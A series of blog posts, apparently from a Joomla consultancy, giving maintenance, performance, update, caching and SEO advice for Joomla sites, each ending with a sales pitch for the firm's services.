  • Use the extension very carefully – especially when it’s a system plugin. Read the instructions and make sure that all the values of all the settings in that extension are correct.

  • If it’s a plugin, then enable it (and remain on the same page in the backend), and then go to your website and check if the everything works correctly and the plugin is doing what it should be doing. If it doesn’t, then disable it immediately and contact your developer.

Now, if you have the same problem on your Joomla website because of the Advanced Module Manager plugin (or because of any other plugin, for that matter), then please contact us. We can fix the problem for you in no time and for a very low cost. All you need to do is shoot us an email or give us a call (we always answer the phone!).

Joomla’s Media Manager Page Taking a Lot of Time to Load – How to Fix

We get constant calls from Joomla administrators telling us that their Media Manager page (the one accessible from the backend by going to Content -> Media Manager) takes an awfully long time to fully load. We then ask them, “how many images do you have under the main images folder?”, and the answer ranges from “a few hundred” to a “few thousand” pictures. “That’s exactly the reason why the Media Manager is slow”, we tell them, “you just have too many images under the root directory of the images folder”. “Why would that be a problem?”, they ask. And so we start explaining…

You see, when you go to the Media Manager page, Joomla grabs all the images under the root directory of the images directory, and displays them as thumbnails in an iframe. Note that Joomla does not physically create thumbnails, it just grabs the image, and displays it in thumbnail dimensions. Now, this is OK when you have a few dozen images under the main images folder, but, when you have a few hundreds or a few thousands, and when the size of each image is a few megs, then that page will take ages to load properly, even with an extremely fast Internet connection, because you’ll be literally loading Gigabytes of data (a Gigabyte is a thousand Megabyte).

So, what is the solution to this problem?

The solution, moving forward, is to store images in nested directories, and ensure that no directory has more than 50 images. You can follow different methodologies to create those nested directories. The nested directories can have meaningful and related names such as: images/fruits/apples, or images/vegetables/tomatoes/cherry-tomatoes/. An even easier approach is to put all the images used on one page under one folder, which is the id of that page, for example, images/id/5 is a folder that contains all the images that are used on the page which id is 5. Yes, there will be some redundancy issues (the same image will be in two places if it’s used on 2 pages), but such issues have zero effect on the stability and the performance of the website (in other words, you don’t need to worry about these redundancy issues unless, of course, you have a limited amount of available diskspace on your server).

The above solutions are manual. An even better solution, if you have a very large website with many images, is automatic, and it requires some modifications to the way the media manager works. In short, everytime you upload an image to the media manager, the media manager must convert the title of that image appended to the current Unix Timestamp to the MD5 equivalent, and then store it under the folder images/A/AB/ where AB is the first two characters of the MD5 equivalent, and A is the first character of the MD5 equivalent. For example, for an image with an MD5 value of 2b93fbdf27d43547bec8794054c28e00, the storage folder should be images/2/2b. Of course, the media manager must tell the user the exact storage folder so that the user can correctly reference it in the article. Now, this method is very complicated, and it requires some serious modifications to how Joomla works, but it’s the ideal solution to balancing the image folders on Joomla.

We know, many of you will probably think that the second method is much better than this one, but the second method has a limitation: a Linux folder cannot have more than 32,768 folders in it, which means that you can only store images for 32,768 articles. If you reach a point where you have more than 32,768 articles on your Joomla site, then you’re in trouble! (Assuming, of course, each article contains at least one image.) Note: You can modify the second method to place several sub-folders under another sub-folder. For example, for articles having ids ranging from 1 to 100, you place their folders under a folder named 1, for articles having ids ranging from 101 to 200, you place them under a folder named 2, etc… This will allow you to accommodate over 3 million articles with images!

OK, now how to fix the already huge images directory?

You will need to develop a script that will loop through all your content items, and, for each content item, it’ll do the following:

  • Create a list of all local images (including their paths) used by that content item.
  • Generate the new path of the image (by following the second or the third method above; the first is not feasible by using a script).

  • Copy the image file from the old path to the new path.

  • Replace all references of the old image path with the new image path in the content item.

  • Save the content item.

Now, once the loop is done, then the script must delete all the images that were already copied. (The script must maintain an index of all the copied images.)

This method, of course, is not flawless, especially if external websites are referencing your images directly and you actually care about those sites (this is rare but it does happen). Naturally, there is a solution to this problem, but it is outside the scope of this post.

We hope that you have found this post to be useful. If you need help implementing any of the above techniques, or if you need further information, then you’re at the right place. Just contact us and we’ll definitely solve this problem for you. Please note that our affordable fees apply!

Don’t Update Everything on Your Joomla Website in One Shot!

We constantly get clients who tell us that their website crashed after they have updated it. “And what did you update exactly?”, we ask them, and they reply that they have updated everything! And that’s the cause of the problem!

Updating a Joomla website should never be done in one shot. The first thing that you should do is to update Joomla’s core (if you have a modified core, then check this guide on how to do it). Then, you should wait for a week or so, to make sure that your website is stable, and after that you should start with updating your 3rd party extensions (one by one – you should always wait at least a week before updating the next extension).

By following the above method, you will be able to rapidly solve problems resulting from an update on your Joomla website, instead of spending a lot of time guessing which update crashed the website. Unfortunately, many Joomla administrators mistakenly believe that it’s better to do all the updates at once, and thus fall into the trap of conflicting updates.

One the same note, another issue that we have noticed is that quite a few Joomla administrators rush to updating their websites the moment Joomla releases a new update. This is a practice that we do not recommend. Joomla administrators must wait at least a couple of weeks to perform the update, since some (official) Joomla updates can crash the website, even if that website doesn’t have a modified core! Additionally, even an official Joomla update can introduce some serious security issues that may compromise your site. It’s always better to wait for community feedback before updating.

If you updated all of your Joomla website in one shot and are now left with a broken website, then fear not. We will fix the problem for you in no time and for a very reasonable cost – all you need to do is to contact us!

Joomla’s Own Caching Must Be Fixed!

Note: This post is a rant. What you will read here is our opinion of Joomla’s cache. There won’t be any “silver bullet” for fixing caching in Joomla in this post.

There is one feature in Joomla that gives many Joomla administrators lots and lots of headaches. Can you guess what it is? Well, it’s caching! Caching is by far the most dreadful and most horrible feature in Joomla, and, for some reason, even after nearly a decade, Joomla can’t get it right. The majority of issues caused on Joomla sites are related to caching, and the problem is, caching is a necessary evil, especially for very large sites.

So, what exactly is the problem with caching in Joomla?

If you don’t know the answer to this question, then most likely you were fortunate enough not to have to use caching on your site. Lucky you! But for the rest of us, the problems with Joomla’s caching are too numerous, here’s some:

  • Missing modules: Some of the modules will suddenly disappear when you enable caching. The thing is, this issue is erratic: now you see that menu module on the top, now you don’t! Clearing the cache usually solves the problem but only for a short while.
  • Broken components: Quite a few components break when caching is enabled. For example, a website that we were working on yesterday had the AdAgency extension installed, and clicking on any ad directed the visitor to a page with no content (the page simply consisted of the template and the modules) on the Joomla website (it didn’t redirect to the actual website linked to from that ad).

  • Broken functionality: Many core and non-core features can break when caching is enabled. Such features include: logging in to the website from the frontend, searching the Joomla website, and adding items to your cart (if you’re using VirtueMart).

  • Broken template: If your template gets broken out of the blue and you have caching enabled, then the first thing that you’ll need to do is to clear your cache and see if that solves the problem. In 90% of the cases, it does (the other 10% of broken template issues are usually caused by a plugin or a module).

  • Broken JavaScript: Some extensions generate dynamic JavaScript code, and there’s a reason for that: the JavaScript code must be unique for each user for these extensions to work properly. If caching is enabled, then that JavaScript will no longer be dynamic, and most likely it’ll break.

  • Delay until your changes appear: Joomla’s own caching is notorious for not knowing when you post something new on your website (or make an update to an already existing content item). Really, how hard is it for Joomla to check the affected pages caused by your update and to re-cache them? Currently, Joomla administrators have to wait until Joomla clears its cache so that they can see their changes (some delete the cache entirely so that they can see it immediately – however, this strategy does not work well on large Joomla sites).

The list is really endless, but we’ll stop here. Joomla’s caching is, without doubt, a great idea implemented horribly.

But why doesn’t the Joomla team do anything about it?

Unfortunately, the Joomla team doesn’t seem to admit that there’s an issue with caching. In fact, the team blames the user (for not knowing how to use caching) and 3rd party extensions (for not integrating well with caching) for all the problems related to caching. “Caching works well, but you don’t know how to use it, or the 3rd party extensions installed on your website don’t support it well.”

So that’s it? There’s no solution to this problem?

One solution to this problem is to use an alternative. There are some 3rd party caching extensions that seem to work much better than Joomla’s own caching and that give you control over what should be cached and what shouldn’t. These extensions are not flawless, but they work much better than Joomla’s own caching, which is, to say the least, a bit shameful.

The other solution is for the Joomla team to fix caching, to make it work properly and intelligently, and to give users more control over it. This, however, requires that the Joomla team admits there’s an actual problem with the core caching in the first place, which will probably never happen.

If you have a problem with caching in Joomla, then fear not, we’ll be able to fix it for you. Just contact us and we’ll work on your website until the problem is fixed. Note that our super affordable fees apply!

Which Tools Do We Use for Joomla Development?

This is a fun, light post for many of our customers who ask us about the tools that we use for Joomla development. So, for those of you who are wondering, here is the list of tools that we use to work on Joomla sites:

  • Total Commander: We use Total Commander to browse local files once we download them from the Joomla website. We also use it to zip/unzip folders, or to view files in a zipped folder without unzipping it.
  • EmEditor: EmEditor is, by far (and we’re talking light years far), the fastest and the most reliable editor on the market. We don’t use IDEs for Joomla development, we just use EmEditor. This editor can open files that are extremely large (we are talking several GBs large), and it will 1) match brackets, 2) syntax color the code based on the type of the file opened, and 3) allow for search and replace in multiple files (which is a very handy feature if we’re doing the same modification on multiple files). It also has some countless features that are extremely helpful for our work.

  • FileZilla: FileZilla, is, without doubt, the best FTP client out there. We use it all the time to download and upload to our client’s sites. It has a few quirks (sometimes it uploads a file to the wrong directory – but we’re always very careful when we’re using it), but still, it’s the best. Note that Total Commander has its own, built-in FTP client, but for some reason, it’s not as reliable as FileZilla.

  • Firefox: We use Firefox for all our web related activities on our clients’ sites, including, but not limited to, working on their WHM/cPanel, working on the backend of their Joomla website, and testing the frontend of their Joomla website. We also use Firefox to do research on Google, and to post on the itoctopus website!

  • Chrome: We use Chrome to debug JavaScript errors on our clients’ websites, as well as fixing CSS errors (or making CSS modifications). We also use Chrome to monitor the loading time of each item on the site, and to see whether the Joomla website is trying to connect to another (malicious) website before serving the page.

  • Citrix: We use Citrix to work on the Joomla websites of our large clients. Many of our large clients use Citrix that allow consulting companies to have VPN access to their development servers. Citrix is an extremely reliable tool and it’ll allow us to work smoothly with large clients.

  • Tortoise SVN client: A few of our large clients use SVN to handle the development on large websites. We use Tortoise SVN client for this purpose. Check this post to know when we can/cannot use SVN to work on a Joomla website.

If you need development help on your Joomla website, then look no further, we use the right tools and we have the best brains in this business. Just contact us and let us prove to you that we can live up to your standards – don’t forget to check our very affordable fees!

Gzip Page Compression in Joomla Can Cause a High Server Load

Everyone talks about the benefits of using gzip on Joomla sites (you can enable it by logging in to the backend and going to Site -> Global Configuration -> Server, and then choosing “Yes” next to Gzip Page Compression), but nobody tells you the whole story. The whole story is that gzip, in general, only works well on small websites, where it’s not really needed…

Let us explain ourselves, but before doing that, let us give you an idea on how gzip works…

So, how does gzip work?

Gzip is a small program on the server that compresses the HTML code before sending it to the client. So, if you visit the homepage of a Joomla website, Apache redirects the call to PHP, which then parses the page and generates the HTML code, and just before sending that HTML code to your browser, the gzip program compresses the HTML, and tells Apache that it’s done, and then Apache pushes the HTML to you. Once the browser receives the compressed (or zipped) HTML, it’ll unzip it (all modern browsers support this functionality) and will display it properly for you to see it.

So, why is it good?

It’s good because those with slow connections will save on bandwidth – for example, if the HTML page is 1 MB long (without the media, which is rare), then the zipped version can be a tenth of that size (or even less), thus saving the user some substantial bandwidth, and making the site load much faster.

And why is it bad?

It’s bad because it only works on small sites – if you have a large site, and that zipping program runs for every request, then your server’s load will increase dramatically (we’re talking about a triple digit load here), and your website will, sooner or later, crash. You will start feeling the gzip reverse effect once you have a few thousand articles on your Joomla site and a few thousand visitors every day.

We’re amazed that this wasn’t mentioned anywhere else because it’s such a huge issue: several of our large clients had serious problems and downtime because of gzip. They thought they were doing the right thing by having it enabled, but it turned out that it was making things worse, much worse!

But even on small sites, is gzip needed?

Not with today’s connection speed no – the performance gain is not even noticeable. Gzip was a good idea back in the days when people were using 56K modems – not anymore. Nowadays virtually anyone who’s connected to the Internet (on this planet) has at least a 1 Mbps connection, so loading speeds, are rarely, if ever, the visitor’s issue.

If your website has gzip enabled and it’s causing you issues, then you can disable it confidently, because it’s not that useful anyway. If you’re still not convinced, please contact us and we’ll do the explanation for you. Note that our affordable fees apply!

How to Disable Checkout in Joomla

Note: This post contains a core modification, which means that the next Joomla update may overwrite it.
Another note: This post only applies to Joomla 2.5. The below will not work on Joomla 3.x.

According to our customers, one of the most annoying features in Joomla is the checkout feature. Yes, this feature does the right thing by not allowing more than one person edit the same content at the same time, but it creates a bigger issue, such as locking content from being edited when that person doesn’t close the content when done with it. Of course, one can easily go to Site >- Maintenance >- Global Check-in to check-in all the tables, but the problem is that this action can only be done by a super user.

Many of these annoyed customers ask us to disable the checkout feature completely, and so we do this for them, here’s how:

  • We open the file modelform.php, which is located under the libraries/joomla/application/component folder.
  • We add the following line to very beginning of the function checkout:

    return true;

  • We save the file and we upload it back to its corresponding place.

  • That’s it! We have completely disabled the checkout feature in Joomla!

But isn’t there a better way to disable checkout?

The method described above is the fastest way (it literally takes less than a minute to implement), but it’s not ideal, since we are modifying the core. A better (albeit much more lengthy) way for doing this is to develop a system plugin that will run on every page load in the backend, and will reset the checked_out field (e.g. set it to zero) in all of Joomla’s content tables. This plugin shouldn’t take a lot of time to develop, but it’s definitely not as easy to implement as the above method!

Why doesn’t Joomla have a setting in the configuration settings to easily disable the checkout feature?

We don’t know – it might be that the Joomla team is overly concerned about concurrency issues, or it might be that Joomla users are used to this very old feature and have now accepted it. (By the way, WordPress doesn’t have this feature).

If you need help disabling the checkout feature in Joomla, then all you need to do is to shoot us an email or give us a call, and we’ll do it for you, either by modifying your Joomla website’s core or by creating a plugin and installing it on your site. Our work is fast, our quality is top-notch, and our fees are super affordable!

How We Update a Joomla Website with a Modified Core

Note: Make sure you backup your Joomla website before following the guide below. You should backup both the filesystem and the database.

We are lately getting many Joomla 2.5.x websites with modified core to update to the latest version of Joomla. Obviously, this is a very delicate task because a Joomla update can (and most likely will) erase all the core modifications that were done on the website, or worse, erase some of the core modifications (while leaving some modifications) and potentially make the Joomla website unstable.

Probably your question is, “How do these guys do it?” Well, here’s how:

  • We first download a clean copy of Joomla with the exact version that the client has. For example, if the client has version 2.5.11, then we download a fresh copy of Joomla 2.5.11 from Joomla’s official website. Clearly, the version that we download from joomla.org is untampered with.
  • We then extract the downloaded Joomla installation file to a folder called clean, under the root of our client’s Joomla website.

  • We then loop recursively through all the files in the clean folder, and we compare them to their peers on the actual website. For example, we compare the file articles.php in the folder clean/components/com_content/models to the file articles.php which is located in the folder components/com_content/models. We compare the files using the md5_file function.

  • If, during the loop, we find that a file is not identical to its peer, then we store the full path of that file in a file called modified.txt, which is located under the root directory of the website. We then continue the loop. When the loop ends, we will have the full path of all the modified files stored in the modified.txt file.

  • We then download the most recent copy of Joomla (e.g. 2.5.17 at the time of publishing this post), and then we extract it to a folder called v2 under the root directory of the website (the same as if we’re doing a migration).

  • Now the real and challenging work begins: we check each modified file (which path we have in the modified.txt file) for the modifications (we compare it manually with the file of the same Joomla version), and then we port the changes to the identical file of the latest Joomla version. In other words, if the file articles.php under the components/com_content/models was modified, then we port those modifications to the file articles.php which is located under the v2/components/com_content/models folder).

  • Once we finish porting all the file modifications, we copy all the files from the v2 directory to the root directory of the Joomla website, essentially overwriting the existing files.

  • That’s it! The Joomla website is updated and the core modifications are preserved.

As you can see, the process is a bit hard and delicate, and requires an experienced Joomla (and PHP) developer. If you don’t consider yourself falling into this category, then you might want to hire one who does (well, you can always hire us!).

Some caveats

  • Some Joomla websites not only have their core modified, but they also have their database modified. Technically, this shouldn’t cause any problem, but we’re usually extra careful when we work on such websites.
  • Ensure that your Joomla error reporting is set to None in the global configuration settings when you do the update. Otherwise, your visitors might see errors that might compromise the security of your website.

  • This guide only works for an update, and not for a migration. In other words, it won’t work if you’re moving from 1.5 to 2.5, or from 2.5 to 3.x.

We hope that you found our guide helpful. If you need help implementing it, then we’re always here for you. Just contact us and we’ll do the update for you in as little time as possible for a very affordable cost.

15 Reasons Your Joomla Website Got Penalized by Google

We get a couple of call every week or so from new clients telling us that their Joomla website got penalized by Google. The first question that we ask them is: “Are you sure you got penalized?”, and the second question is: “How did you know you got penalized?”.

The answer to the first question is usually always “Yes, we’re sure”. The answer to the second question is: “Well, our website used to appear among the top 5 results for certain keywords, but now it doesn’t”. So, we tell them that dropping from the top 5 results (even from the first page) doesn’t always mean a penalty. In fact, in most cases, the reason for this drop is a change in Google’s ranking algorithm (Google claim that they make hundreds of changes to their search ranking algorithm every year). An actual penalty is when the website drops 30 or 50 spots. And so they ask us 2 other questions: “What caused my Joomla website to get penalized by Google?” and “How can I recover from a Google penalty?”. The second question has been answered by hundreds of websites, and we think that most answers are wrong. A Google penalty can be very hard to recover from (often requires years – however, some websites recover fast, but we suspect they do so because of a manual intervention on Google’s end). In any case, we will not elaborate in this post on how to recover from such a penalty, and we will only focus on the first question (we believe that understanding the reasons may help in the recovery).

So, without further delay, let us discuss the 15 reasons (in no particular order of importance) that may cause a website to be penalized by Google:

  1. Website getting hacked on a regular basis: If your website gets hacked the first time and then you fix it, then Google will definitively forgive you. If it gets hacked the second time, then it may forgive you. Now if your website gets hacked regularly, then Google will think (and rightly so) that you are not serious about your website and will penalize it. Always keep your Joomla website up-to-date, and make sure you are following these security tips.
  2. Errors in your .htaccess file: A good .htaccess file can greatly boost your search engine rankings. A bad .htaccess file can cause your website to be penalized. Be very careful when you make changes to your .htaccess file because a simple change can wreak havoc upon your rankings. If you get hit with a penalty, immediately have a professional take a look at your .htaccess file.

  3. Over-optimization: Optimizing your website for search engines is good, but over-optimization can red-flag it quickly. Over-optimization is never perceived by Google as a good thing, and, as such, is often penalized. Be careful when you start optimizing, don’t shock Google. Do your optimization over weeks or even months if you have a very large website. Never do everything in one shot, even if you’re following Google’s own guidelines for a clean, respectable website.

  4. No unique content: A client called us yesterday and told us that his website was penalized. After a quick investigation, we discovered that he didn’t have a single article on his website that was unique. All his articles were copied from other websites without any credit. This duplicate content is nearly always penalized by Google, sooner or later (by the way, our client told us that he was doing this for years). Always have unique, well written content on your website and Google will eventually reward you.

  5. Writing only very short posts: Very short posts are considered by Google as a method to gain long tail traffic. While very short posts are accepted if they constitute a small percentage of your content, they will definitely harm your website when they constitute the majority of your content, especially when they are intentionally used to lure long tail keywords.

  6. Using titles that have nothing to do with your actual content: If you are using titles that are not, in any way, related to your content (and you are doing this most of the time), then Google will perceive this as a deceptive method and will penalize your website. Always use titles that are related to your content.

  7. Hiring the wrong person for a quick SEO boost: If we had a dime every time someone tells us that they got penalized after they hired a person who promised to quickly boost their search engine rankings, we’d have a whole lot of dimes (not enough to make us rich, but close). So called experts pretending that they will immediately boost your search engine rankings if you give them a few thousand dollars will often use dark techniques that will give you that boost for a month or two, and then immediately get your website penalized, permanently. They will then, of course, tell you to pay them more money to restore your website, and will blame the penalty on a change in Google’s algorithm claiming that the work they did has nothing to do with what happened. Be very wary of who you hire for SEO.

  8. Allowing spam on your website: If your website has a lot of spammy comments with links directing your visitors to obscene/malware websites, then it’ll only be a matter of time before it gets penalized. You should always monitor your user generated content, whether it’s articles, comments, or forum posts, and you should be proactive in removing spam from your website and banning those responsible for the spam.

  9. Keyword abuse: Keyword abuse is also referred to as keyword stuffing, and is the practice of including the same keyword several times in a particular post to increase the search engine rankings for that post when people search for that particular keyword. Keyword abuse can get the offending page to be penalized, and, can cause the whole website to get penalized if used sitewide. You should always monitor the density of your keywords (but then again, if you are monitoring the density of your keywords, then this means that you are doing something wrong and you know it, and this’ll eventually get you in trouble with Google).

  10. Tag abuse: We don’t think highly of tags, and neither does Google. Many website owners use tags to attract long tail keywords (causing a Google penalty), which is a wrong practice. Tags should be as few as possible and should be related to the post.

  11. Too many spelling/grammar mistakes: Google’s algorithm is getting stricter and stricter with each update. A few years ago, it was lenient towards websites with many grammar mistakes – no more. If you don’t care about grammar and spelling when you’re writing your articles/posts, then expect Google to penalize you at one point. Always make sure that your sentences can be read and comprehended by people other than yourself, and that they don’t contain any grammar or spelling mistakes.

  12. Slowness: Google’s search engine doesn’t want to direct traffic to websites that take many seconds (or even minutes) to load, but rather to websites that load instantly. If your website falls into the first category, then it may get penalized, or, at best, it will drop a few spots in the search engine rankings to the point where your search engine traffic is significantly reduced (note that statistically, most people look only at the first 5 results when searching on Google – only those who are very desperate to find the right information look past the first page). Always ensure that your Joomla website loads quickly (you may want to read how we made a Joomla website 200 times faster).

  13. Too many errors: Notices, warnings, and fatal errors are tolerated by Google, but to a certain point. If your website has errors on every single page, and if many of your pages have fatal errors, then don’t expect Google to be merciful. Note that sometimes errors can appear on your website suddenly, without you even making a single change (these errors usually happen because of a modification on the hosting server, such as an Apache/PHP/MySQL upgrade). Make sure that you always set the Error Reporting to None in your configuration settings on your production website to suppress all errors from your website.

  14. Overlinking internally: Whenever you write an article, make sure you don’t have more than a few links pointing to your other articles. Swamping your articles with links to other places on your website is not a good practice, and you may have to pay dearly for it.

  15. Overlinking externally: Overlinking externally is even worse than overlinking internally, because it labels your website as a spam website mainly used to inflate the search engine standings of other websites. It may also alert Google that you’re selling links (even if you’re not), and selling links is a forbidden practice that is severely penalized. External links have zero positive effect on your search engine rankings, and can have severe negative effects when there’s a lot of them. Note that a huge red flag is an external link that is added to any of your posts many months after it’s published (it definitely means that you’re selling links from Google’s perspective).

We hope that you found this post useful and you have learned from it. If your website got penalized by Google, then your only option is to learn from the above and perhaps submit a reconsideration request with Google (you never know). If you need help with the technical issues mentioned above (such as the fatal errors or the optimization), then please contact us. We are experts in Joomla, we are quick, we work every single day, and our fees are very affordable.

Blank Page When Trying to Edit a Gantry Template in Joomla’s Backend

We had a call earlier this week from a client telling us that whenever he tries to edit his Gantry template from Joomla’s backend, he gets a blank page. Hmmm!

We tried to edit the Gantry template ourselves but we also got the blank page… Of course, there are many, many reasons that cause the dreadful blank page issue in Joomla, but the problem with this one, is that even after we set the Error Reporting value to Maximum, the blank page was still there, and no error was displayed…

So we did some debugging until we found the root of the problem; it was this line located in the function display which is located in the view.html file (which, in its turn, is located under the administrator/components/com_gantry/views/template folder of the Joomla website):

$model->checkForGantryUpdate();

The above line is a function call that checks whether Gantry has released an update for its core or not, and if yes, it’ll tell the user about the update. Now, the issue with the above function is that not only it checks if there are updates for Gantry or not, but it’ll also check for updates for all the extensions, and this is the heart of the problem. Some old/not very well maintained extensions have a wrong update URL, which makes the whole function fail silently, and hence resulting in a blank page.

So, how can this problem be fixed?

A quick way to fix the problem is to remove the aforementioned line from the display function. Technically, this method doesn’t fix the problem, but it avoids it. It’s very quick, but the downside for it is that Gantry won’t be able to check for updates when in edit mode (which, in our opinion, is not extremely necessary).

A better way to fix the problem is to locate the problematic extension and either uninstall it or exclude its update script from the batch update process. Here’s how you can find out which extension is the culprit:

  • Login to the backend of your Joomla website.
  • Go to Site -> Global Configuration -> Server, and then set the Error Reporting to Maximum.

  • Go to Extensions -> Extensions Manager and then click on Update, and then click on Find Updates on the top.

  • You will see some fatal errors that will tell you which extension(s) has(have) problems being updated.

Now, once you find that extension, you have 2 choices:

  1. Uninstalling the extension (which is very easy but most likely not the desired action) OR
  2. Disabling the update script for that extension.

As stated above, uninstalling the extension might not be what you want, so you’re better off with disabling the update script for that extension. This can be done the following way:

  • Login to phpMyAdmin and select the database that is powering your Joomla website.
  • Go to the #__update_sites table and search for the extension that you’re having problems with.

  • Set the field enabled to 0 for the matching row. This will ensure that this extension will no longer be included in the batch extension update.

Now, the big question is, why does Gantry, in edit mode, show a blank page instead of the error even on maximum error reporting?

Well, it’s because in the function checkForGantryUpdate in the Gantry model, the call to findUpdates on the JUpdater object is preceded by the @ sign, which suppresses any error, regardless of Joomla’s error reporting or even PHP’s native error reporting. Clearly, the Gantry team felt that it’s better to display a blank page on error and confuse their clients instead of actually displaying the error.

In any case, if you’re having the same issue, then we hope that our post was helpful. If you felt that it was a bit complicated or if you felt that you need some help implementing it, then fear not – all you need to do is to contact us and we’ll fix it for you in no time and for a very reasonable cost!

Why Tags Can Hurt Your Joomla’s Search Engine Rankings

A new client called us today and told us that his Joomla website was penalized by Google. The client told us that his Joomla website slowly lost its rankings over the past few months, until it got penalized.

We did a very quick investigation and we discovered that ever since Joomla 3.1 was out, our client started using content tags in his articles. Unfortunately, our client was unknowingly abusing the Joomla tags. He was creating 4 unique tags/article, and he was creating about 10 new articles every day. In other words, every day, he had 40 new tags. Google considers this to be a spammy practice. Tags are meant to be as few as possible and they are meant to be re-used. Our client was never re-using tags.

But why does Google considers overusage of tags to be spam?

Tagging is nearly a decade old, and tags were initially used as a mean for extra categorization (in order to group related content items together). Google was happy to index these new “categories”. But, sooner rather than later, web spammers started using tags to drive long tail traffic by creating several “sentence tags” for each article/post. Google took notice of this practice and tweaked its search algorithm to address the abuse of tags. Ever since that, tags are not a welcome practice for Google, and their slightest abuse could cause a penalty.

So, there are no benefits for using tags?

Not anymore. The moderate use of tags has no SEO benefits whatsoever, and their abuse can cause the website to be penalized. Tags should be avoided and are considered to be a bad SEO practice.

But why do people still use tags on their websites?

Every single client we have worked with and that has used tagging told us that he used it based on the recommendation of a so-called “SEO specialist”. Unfortunately, our clients don’t know until it’s too late that they were conned. Most of these “SEO specialists” ask people to do something wrong, and then they ask them for money to fix the harm that they caused. It’s a really bad way to earn a living.

So, what should one do if he’s already using tags?

If you’re using tags on your Joomla website, then disable them. If you think that these tags are beneficial to your users or if the tags are technically crucial to your website, then you can add a meta tag of noindex, nofollow on every tag generated page.

If your website got penalized because of tag abuse, then try disabling the tags and then wait for a few weeks/months and see if the penalty is lifted (note that there are no guarantees for a website to gain its previous rankings with Google if it was previously penalized). If you need help with disabling your tags, then please contact us. We can do this for you in no time and for very little cost!

How to Remove Unused Files from Your Joomla Site

Note: Before starting, we would like to explain what we mean by “files” in the title of this post. By files, we mean media files (such as images, videos, mp3s, etc…) and documents (such as PDF files and Word/Excel/Powerpoint documents, etc…).

Another note: This post assumes that no file is linked to directly from outside sources. Any link to a file in your filesystem is assumed to be incoming from your website itself, and not from elsewhere.

A great way to keep your website clean is to remove unused media/document files periodically. Such files may be image files, music files, video files, PDFs, Word documents, etc… Of course, this cleanup job can be done manually, but it might take a very long time if done this way. A better way would be to develop a script that will do this task automatically. Here’s what such a script should do:

  • It will first create an index of all the media/document files available on the website. For example, it will loop through the images directory (and all the sub-directories) and it will create a record of every single image (including its path). This information can be stored in a text file or a database table.
  • Once the index of all the media/document files is created, the script must loop through all the template files and create an index of the used media/document files (let’s call this index the filesystem index). When that task is done, the same script must loop through all content tables (such as the #__content table) and create another index of the used media/document files in the database (let’s call this index the database index).

  • Once all the indexes are done, the script must loop through the index of available files and check if each one of these files exists in the filesystem index or the database index. If a match is not found in either index, then the script will automatically delete it from the filesystem (or move it to a folder outside the website directory).

  • Once the above task is done, the script will create a report of all the deleted (or moved) files.

As you can see from the above, this is a relatively easy script, and shouldn’t take a long time to develop. If you need help developing it, then please contact us. We can create this script for you in record time and for a very affordable cost!

“Email could not be sent.” Error When Emailing Articles on a Joomla Website

Using caching in Joomla will come back to haunt you. (Source: the team at itoctopus!)

If you are using caching on your website, and we’re not even talking about page level caching, just global caching, you might have experienced some broken functionality here and there. Even if you haven’t noticed anything wrong on your website, chances are, there is something wrong but you don’t know where it is. Even in 2014, caching in Joomla is still unreliable and can cause stability issues.

One of the common problems that are related to caching is the inability to email the link of an article to a friend: when someone tries to use this functionality, he gets the following error after filling in the form and pressing on submit:

Email could not be sent.

There are two ways to solve the problem:

  1. Disable global caching: You can disable global caching by logging in to the backend of your Joomla website, and then going to Site -> Global Configuration and then clicking on System, and then on the right side, under Cache Settings, choosing OFF – caching disabled next to Cache, and finally clicking on the Save button on the top right. This will fix the problem, however, this fix will also make your website slower (much slower if you have a large website). We usually opt for this solution when the website is quite small (and will remain small) and caching is not really needed.
  2. Disable content caching: For some reason, enabling global cache, also enables some sort of content caching, which is not the right behavior, since content caching is controlled by the System – cache plugin. In any case, to disable content caching, you should do the following:

    • Open the file controller.php, which is located in the component/com_content folder .
    • Remove the following line from the beginning of the display function:

      $cachable = true;

    • Save the file and upload it back to your Joomla website.

    This solution will fix the problem, and will not have a drastic effect on the performance of your website.

But, why is the problem related to caching?

We’re glad you asked! You see, when you load an article, Joomla runs a script to generate a hash for that article, and then associates that hash with the URL of the article. The link for “emailing the article to a friend” will contain that hash, and so, when you fill in the popup form and click on Submit, Joomla will check that hash, and will get the article’s URL based on the hash, and then will email the link of the article to your friend. Joomla does this whole hash thing to prevent spammers from using your website as a mean to spam other people.

Now, this is all fine, but the problem is that the association between the hash and the article’s URL is stored in the session. When the content is cached, then all the session activities that are related to this task are skipped (including the storage of the URL and the hash in the session), which means that Joomla will no longer know which article’s URL corresponds to the hash, and thus, will prevent the email from being sent.

Now, if you have this problem on your website, then try first to disable caching and see if it solves the problem, if it does, and if you really need caching, then re-enable caching and implement the second method above. If you need help in the implementation, then just contact us and we’ll do it for you in no time and for a very affordable fee!

How to Make Your Joomla Website W3C Compliant

Let us start this post by explaining, in very concise terms, what is W3C compliance:

W3C compliance is ensuring that the page has no HTML errors according to the W3C standards.

W3C compliance has several benefits:

  1. It’s good for SEO: It is well known that Google, as well as other search engines, consider websites that are W3C compliant as “clean” and “well-maintained” and rank them higher in their search results.
  2. It resolves formatting errors on your website: Making a website W3C compliant resolves most formatting errors on your website (e.g. formatting errors caused by unclosed tags or non-existent properties).

  3. It makes your website faster to load on the browser’s end: A website that is plagued with HTML errors will load slowly, mainly because the browser will need to spend more time correcting the HTML code in order to display it properly (or at least to try to display it properly) for the end user.

Now, after reading the benefits of W3C compliance, you are probably more interested than ever in making your Joomla website W3C compliant.

Here’s how to do this: Go to validator.w3.org and validate your website, and see what errors you see, then go ahead and fix each and every error/warning you see.

You should first start with fixing the template errors, these HTML errors are found in your template files (e.g. the index.php under your templates/[template-name] folder and all the files under the html directory under the aforementioned directory).

Once you do that, you should fix the HTML errors in your modules’ template files. Your modules’ template files are located under the modules/[module-name]/tmpl folder.

Once you have fixed the HTML in the modules, then your next step is to run the HTML validator again. If your website is still not HTML valid, then most likely you still have some HTML errors in one or more of the following:

  • Your content: For example your articles or your K2 articles (in case you have K2 installed). If your homepage is not validating, then you should check the HTML of the article that is displayed on the homepage.
  • A 3rd party content plugin: A content plugin makes some modifications to your content prior to serving it to your clients. If the content plugin injects some wrong HTML, then your website won’t validate. Disable content plugins one by one and see if that solves the problem. If and when it does, then the last content plugin disabled is the cause of the problem. Note that Joomla’s content plugins do not cause issues in your HTML, so your best bet is to check 3rd party content plugins.

  • A 3rd party component: If you’re displaying a 3rd party component on the homepage, then the problem could be a wrong HTML in the template files of that component, which are found in components/component-name/templates. You should check these files for any errors, and fix these errors, if any.

